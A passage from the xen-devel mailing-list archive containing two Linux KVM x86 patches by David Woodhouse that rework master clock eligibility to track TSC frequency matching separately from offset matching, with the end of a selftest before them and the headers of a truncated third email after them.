+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 after SET failed");
+
+	kvm_vm_free(vm);
+}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374498.1621675 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8H-0005gO-9O; Tue, 28 Jul 2026 14:50:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374498.1621675; Tue, 28 Jul 2026 14:50:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005e6-Vj; Tue, 28 Jul 2026 14:50:12 +0000
Received: by outflank-mailman (input) for mailman id 1374498;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8D-00059P-R5
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8D-004rRp-7l; Tue, 28 Jul 2026 16:50:09 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-bab6-0a2a0a5309dd-0a2a4501bf8e-8
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:09 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a0-5984-0a2a45010019-5a9b32229150-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:09 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOs-0RPb; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYh-3DtG;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=++5qh5a/EZporPaBmUjkvlK1lBNfKxGhRulmzrMyPaw=; b=vS0bqspjbSpvjcv2YCDR1watQ4
	b2cTWMYT5H51bJIbWrzyEqkaxkWkJO7Ccwa4r97/YGW8Kh2IoxPgqRkerr4fEaWrhve2ULy2ejEut
	wFE6nslGGfPG0vXzIFh9Fs/GqA3SqHb+xciJ59jyqMezq4DRSshc+akAQisCOf8ujsRKD0sge89uL
	kFJqhoX4rR+j4+Pxz1Xp4d5hhlU4W5RLPEpASsCIgB2xKPViJ6PMFv9338PGNcobaVTx5oilN0+fD
	zY5Ul1GLtKCJDN9hhtdTZqTMSNZoYTacm3ufK7W0rdutkLQGo+tK2hn53BE3Vq2bk0U6ny3MsAKH4
	qS5Upabw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 18/36] KVM: x86: Factor out kvm_use_master_clock()
Date: Tue, 28 Jul 2026 15:39:58 +0100
Message-ID: <20260728144954.355376-19-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1785250209-1F46D757-E8428679/0/0
X-purgate-type: clean
X-purgate-size: 4292

From: David Woodhouse <dwmw@amazon.co.uk>

Both kvm_track_tsc_matching() and pvclock_update_vm_gtod_copy() make a
decision about whether the KVM clock should be in master clock mode.
They used *different* criteria for the decision though. This isn't
really a problem; it only has the potential to cause unnecessary
invocations of KVM_REQ_MASTERCLOCK_UPDATE if the masterclock was
disabled due to TSC going backwards, or the guest using the old MSR.
But it isn't pretty.

Factor the decision out to a single function. And document the
historical reason why it's disabled for guests that use the old
MSR_KVM_SYSTEM_TIME.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 40 ++++++++++++++++++++++++++++++----------
 1 file changed, 30 insertions(+), 10 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 7615e1cd5835..ce80ee808777 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1099,11 +1099,30 @@ static inline bool gtod_is_based_on_tsc(int mode)
 {
 	return mode == VDSO_CLOCKMODE_TSC || mode == VDSO_CLOCKMODE_HVCLOCK;
 }
-#endif
+
+static bool kvm_use_master_clock(struct kvm *kvm)
+{
+	struct kvm_arch *ka = &kvm->arch;
+
+	/*
+	 * The 'old kvmclock' check is a workaround (from 2015) for a
+	 * SUSE 2.6.16 kernel that didn't boot if the system_time in
+	 * its kvmclock was too far behind the current time. So the
+	 * mode of just setting the reference point and allowing time
+	 * to proceed linearly from there makes it fail to boot.
+	 * Despite that being kind of the *point* of the way the clock
+	 * is exposed to the guest. By coincidence, the offending
+	 * kernels used the old MSR_KVM_SYSTEM_TIME, which was moved
+	 * only because it resided in the wrong number range. So the
+	 * workaround is activated for *all* guests using the old MSR.
+	 */
+	return ka->all_vcpus_matched_freq &&
+		!ka->backwards_tsc_observed &&
+		!ka->boot_vcpu_runs_old_kvmclock;
+}
 
 static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
-#ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &vcpu->kvm->arch;
 	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
@@ -1141,7 +1160,7 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	 * are fine â€” each vCPU's pvclock has its own tsc_timestamp that
 	 * accounts for its offset.
 	 */
-	bool use_master_clock = ka->all_vcpus_matched_freq &&
+	bool use_master_clock = kvm_use_master_clock(vcpu->kvm) &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
@@ -1156,8 +1175,11 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	trace_kvm_track_tsc(vcpu->vcpu_id, ka->nr_vcpus_matched_tsc,
 			    atomic_read(&vcpu->kvm->online_vcpus),
 		            ka->use_master_clock, gtod->clock.vclock_mode);
-#endif
 }
+#else
+static inline void kvm_track_tsc_matching(struct kvm_vcpu *vcpu,
+					  bool new_generation) {}
+#endif
 
 /*
  * Multiply tsc by a fixed point number represented by ratio.
@@ -1655,10 +1677,9 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &kvm->arch;
 	int vclock_mode;
-	bool host_tsc_clocksource, vcpus_matched;
+	bool host_tsc_clocksource;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = ka->all_vcpus_matched_freq;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
@@ -1668,9 +1689,8 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 					&ka->master_kernel_ns,
 					&ka->master_cycle_now);
 
-	ka->use_master_clock = host_tsc_clocksource && vcpus_matched
-				&& !ka->backwards_tsc_observed
-				&& !ka->boot_vcpu_runs_old_kvmclock;
+	ka->use_master_clock = host_tsc_clocksource &&
+				kvm_use_master_clock(kvm);
 
 	if (ka->use_master_clock) {
 		u64 tsc_hz;
@@ -1698,7 +1718,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 
 	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
 	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
-					vcpus_matched);
+					ka->all_vcpus_matched_freq);
 #endif
 }
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374494.1621644 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8F-0005AN-Kv; Tue, 28 Jul 2026 14:50:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374494.1621644; Tue, 28 Jul 2026 14:50:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8F-0005AG-Hm; Tue, 28 Jul 2026 14:50:11 +0000
Received: by outflank-mailman (input) for mailman id 1374494;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058H-Sg
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8C-00BbE3-5R; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c190-e002-0a2a0a5209dd-0a2a4503a92a-42
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-fae8-0a2a45030019-5a9b3222e78a-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOn-0ON8; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYe-3448;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=gLlcSwhGKTUl3qInTw6GStNzIYjtuT3gHS62xzVp7Q0=; b=CTB0QjKeipJ49VnJV6/Q2cjkhb
	Mt4AGuq5bPg+zMUj5XeHwve4XlyfaIFcE6tDGNxyejc0R0AM+B9hQ0l1uJaH+kJO04u9IGuO8XAEG
	jqa1Oplch4A/H3O5iNTTZqaLEdfXsV155w2IkwMXPF2BlOJGZQCszHqe+d84p64IdoZvgiMpMe+Jy
	eOI6zGBNWSADruEw9gQKY5//ByTwr9jj9mbw73Du3XeAIunP025naMk2IIrVwUYiGzq7HAc2ga864
	jU0lIZftFrGE5e+ySsqDr5ZA61pm5Rp2UjJ+5tg99R4JxDjnmLI6UsYkOi2nfR7Z4oxsQ77V70v6o
	eh6VNawA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 17/36] KVM: x86: Allow KVM master clock mode when TSCs are offset from each other
Date: Tue, 28 Jul 2026 15:39:57 +0100
Message-ID: <20260728144954.355376-18-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1785250208-770F64E9-41A4A9A1/0/0
X-purgate-type: clean
X-purgate-size: 9527

From: David Woodhouse <dwmw@amazon.co.uk>

Previously, a guest writing different TSC values on different vCPUs could
force KVM out of master clock mode. With this change, only a frequency
mismatch disables master clock. The only ways for non-master-clock mode
to happen now are archaic hardware without a TSC-based clocksource, a
VMM that sets different TSC frequencies across vCPUs, or a guest using
the legacy MSR_KVM_SYSTEM_TIME (which could be addressed in future by
simply updating tsc_timestamp more frequently rather than falling out of
master clock mode entirely).

Running at a different frequency would lead to a systemic skew between
the clock(s) as observed by different vCPUs due to arithmetic precision
in the scaling. So that should indeed force the clock to be based on the
host's CLOCK_MONOTONIC_RAW instead of being in masterclock mode where it
is defined by the guest TSC.

But when the vCPUs merely have a different TSC *offset*, that's not a
problem. The offset is applied to that vCPU's kvmclock->tsc_timestamp
field, and it all comes out in the wash.

Track frequency matching separately from offset matching using a
dedicated freq generation counter (cur_tsc_freq_generation) that only
bumps on actual frequency changes. Each vCPU is counted exactly once per
freq generation via a per-vCPU this_tsc_freq_generation field, preventing
repeated syncs of the same vCPU from falsely re-enabling master clock.

Note that the generation-based counting has a known limitation: if all
vCPUs are in sync and one changes away and then back again, the other
vCPUs are still at the old generation and won't be counted until they
sync again (which may never happen). This was always the case for the
offset tracking and isn't expected VMM behaviour â€” although it is the
scenario that the VM-wide KVM_SET_TSC_KHZ ioctl was introduced to handle
cleanly.

While at it, restructure the existing TSC offset generation tracking to
use the same pattern: reset counter to zero on new generation, then
unconditionally count vCPUs that haven't been seen in this generation.
Both counters now use a consistent >= online_vcpus threshold (1-based
counting where the reference vCPU is included in the count).

Use frequency match for master clock eligibility, and full TSC match
(including offset) only for PVCLOCK_TSC_STABLE_BIT, which tells the
guest it is safe to skip cross-vCPU monotonicity enforcement.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  4 ++
 arch/x86/kvm/x86.c              | 80 +++++++++++++++++++++++++--------
 2 files changed, 65 insertions(+), 19 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 46919fe1cf4b..293b7cfeb316 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -884,6 +884,7 @@ struct kvm_vcpu_arch {
 	u64 this_tsc_nsec;
 	u64 this_tsc_write;
 	u64 this_tsc_generation;
+	u64 this_tsc_freq_generation;
 	bool tsc_catchup;
 	bool tsc_always_catchup;
 	s8 virtual_tsc_shift;
@@ -1239,6 +1240,9 @@ struct kvm_arch {
 	u64 cur_tsc_offset;
 	u64 cur_tsc_generation;
 	bool all_vcpus_matched_tsc;
+	bool all_vcpus_matched_freq;
+	int nr_vcpus_matched_freq;
+	u64 cur_tsc_freq_generation;
 	int nr_vcpus_matched_tsc;
 
 	u32 default_tsc_khz;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index d3c4009b92bc..7615e1cd5835 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1101,30 +1101,55 @@ static inline bool gtod_is_based_on_tsc(int mode)
 }
 #endif
 
-static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool new_generation)
+static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &vcpu->kvm->arch;
 	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
+	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
 
 	/*
-	 * To use the masterclock, the host clocksource must be based on TSC
-	 * and all vCPUs must have matching TSCs.  Note, the count for matching
-	 * vCPUs doesn't include the reference vCPU, hence "+1".
+	 * Track whether all vCPUs have matching TSC offsets (for
+	 * PVCLOCK_TSC_STABLE_BIT) and matching frequencies (for
+	 * master clock eligibility).
+	 */
+
+	/*
+	 * A new vCPU might already have incremented ->online_vcpus
+	 * and cause a temporary false negative here. But will then
+	 * call kvm_synchronize_tsc() from kvm_arch_vcpu_postcreate()
+	 * and finish the job.
 	 */
-	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc + 1 ==
-				     atomic_read(&vcpu->kvm->online_vcpus));
+	int online = atomic_read(&vcpu->kvm->online_vcpus);
+	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc >= online);
+
+	update_mclock |= (prev_matched_tsc != ka->all_vcpus_matched_tsc);
 
-	bool use_master_clock = ka->all_vcpus_matched_tsc &&
+	/*
+	 * all_vcpus_matched_freq starts true and is cleared when
+	 * __kvm_synchronize_tsc() detects a frequency mismatch.
+	 * Re-enable when all vCPUs have synced with matching frequency.
+	 * If all offsets also match, that implies frequencies match too.
+	 */
+	if (ka->all_vcpus_matched_tsc ||
+	    ka->nr_vcpus_matched_freq >= online)
+		ka->all_vcpus_matched_freq = true;
+
+	/*
+	 * To use the masterclock, the host clocksource must be based on TSC
+	 * and all vCPUs must have matching TSC *frequency*. Different offsets
+	 * are fine â€” each vCPU's pvclock has its own tsc_timestamp that
+	 * accounts for its offset.
+	 */
+	bool use_master_clock = ka->all_vcpus_matched_freq &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
-	 * Request a masterclock update if the masterclock needs to be toggled
-	 * on/off, or when starting a new generation and the masterclock is
-	 * enabled (compute_guest_tsc() requires the masterclock snapshot to be
-	 * taken _after_ the new generation is created).
+	 * Request a masterclock update if needed: toggling master clock,
+	 * new generation requiring a fresh snapshot, or a change in
+	 * all_vcpus_matched_tsc (to broadcast PVCLOCK_TSC_STABLE_BIT).
 	 */
-	if ((ka->use_master_clock && new_generation) ||
+	if ((ka->use_master_clock && update_mclock) ||
 	    (ka->use_master_clock != use_master_clock))
 		kvm_make_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu);
 
@@ -1279,7 +1304,22 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 	 * Track the TSC frequency, scaling ratio, and offset for the current
 	 * generation. These are used to detect matching TSC writes and to
 	 * compute the guest TSC from the host clock.
+	 *
+	 * If the frequency changed, master clock mode can no longer be used
+	 * since the kvmclock scaling factors differ between vCPUs.
 	 */
+	if (vcpu->arch.virtual_tsc_khz != kvm->arch.cur_tsc_khz) {
+		kvm->arch.cur_tsc_freq_generation++;
+		kvm->arch.all_vcpus_matched_freq = false;
+		kvm->arch.nr_vcpus_matched_freq = 0;
+	}
+
+	/* Count each vCPU once per freq generation */
+	if (vcpu->arch.this_tsc_freq_generation != kvm->arch.cur_tsc_freq_generation) {
+		vcpu->arch.this_tsc_freq_generation = kvm->arch.cur_tsc_freq_generation;
+		kvm->arch.nr_vcpus_matched_freq++;
+	}
+
 	kvm->arch.cur_tsc_khz = vcpu->arch.virtual_tsc_khz;
 	kvm->arch.cur_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
@@ -1296,17 +1336,18 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		 * exact software computation in compute_guest_tsc()
 		 */
 		kvm->arch.cur_tsc_generation++;
+		kvm->arch.all_vcpus_matched_tsc = false;
+		kvm->arch.nr_vcpus_matched_tsc = 0;
 		kvm->arch.cur_tsc_nsec = ns;
 		kvm->arch.cur_tsc_write = tsc;
 		kvm->arch.cur_tsc_offset = offset;
-		kvm->arch.nr_vcpus_matched_tsc = 0;
-		kvm->arch.all_vcpus_matched_tsc = false;
-	} else if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
+	}
+
+	if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
+		vcpu->arch.this_tsc_generation = kvm->arch.cur_tsc_generation;
 		kvm->arch.nr_vcpus_matched_tsc++;
 	}
 
-	/* Keep track of which generation this VCPU has synchronized to */
-	vcpu->arch.this_tsc_generation = kvm->arch.cur_tsc_generation;
 	vcpu->arch.this_tsc_nsec = kvm->arch.cur_tsc_nsec;
 	vcpu->arch.this_tsc_write = kvm->arch.cur_tsc_write;
 
@@ -1617,7 +1658,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 	bool host_tsc_clocksource, vcpus_matched;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = ka->all_vcpus_matched_tsc;
+	vcpus_matched = ka->all_vcpus_matched_freq;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
@@ -1948,7 +1989,7 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 
 	/* If the host uses TSC clocksource, then it is stable */
 	hv_clock.flags = 0;
-	if (use_master_clock)
+	if (use_master_clock && ka->all_vcpus_matched_tsc)
 		hv_clock.flags |= PVCLOCK_TSC_STABLE_BIT;
 
 	if (vcpu->pv_time.active) {
@@ -9938,6 +9979,7 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 	ratelimit_state_init(&kvm->arch.kvmclock_update_rs, HZ, 10);
 	ratelimit_set_flags(&kvm->arch.kvmclock_update_rs, RATELIMIT_MSG_ON_RELEASE);
 	kvm->arch.kvmclock_offset = -get_kvmclock_base_ns();
+	kvm->arch.all_vcpus_matched_freq = true;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
 	pvclock_update_vm_gtod_copy(kvm);
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374495.1621649 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8F-0005Ct-Sq; Tue, 28 Jul 2026 14:50:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374495.1621649; Tue, 28 Jul 2026 14:50:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8F-0005Bn-Np; Tue, 28 Jul 2026 14:50:11 +0000
Received: by outflank-mailman (input) for mailman id 1374495;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058F-QF
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8C-00BbE3-6t; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c190-e002-0a2a0a5209dd-0a2a4503a92a-44
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-fae8-0a2a45030019-5a9b3222ad0e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOj-0QNw; Tue, 28 Jul 2026 14:49:58 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYM-21Id;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
